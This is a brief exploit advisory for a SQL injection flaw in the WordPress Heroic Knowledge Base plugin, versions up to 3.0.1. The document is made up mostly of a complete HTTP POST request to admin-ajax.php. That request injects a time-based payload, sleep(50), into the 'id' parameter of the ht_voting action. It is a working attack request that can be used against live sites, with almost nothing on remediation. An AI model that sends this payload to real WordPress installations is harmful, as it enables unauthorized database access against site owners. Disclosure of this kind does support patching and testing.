WordPress Heroic Knowledge Base 3.0.1 SQL Injection

`#Exploit Title : wordpress Heroic Knowledge Base Plugin <= 3.0.1 - sql injection   
#Exploit Author : begininvoke  
#Exploit Date : 2020-11-29  
#Vendor Homepage : https://herothemes.com  
  
  
  
[+] Proof Of Concept:  
=====================  
  
#   
Parameters id is vulnerable   
  
# Methode POST #  
  
POST /wp-admin/admin-ajax.php HTTP/1.1  
Host: site.com  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.3  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://site.com/knowledge-base/research-strategy-development-roadmap-rsdr/  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 122  
Connection: close  
  
action=ht_voting&direction=up&type=post&nonce=6d2ea5db0f&id=sleep(50)&allow=anon&display=standard  
  
`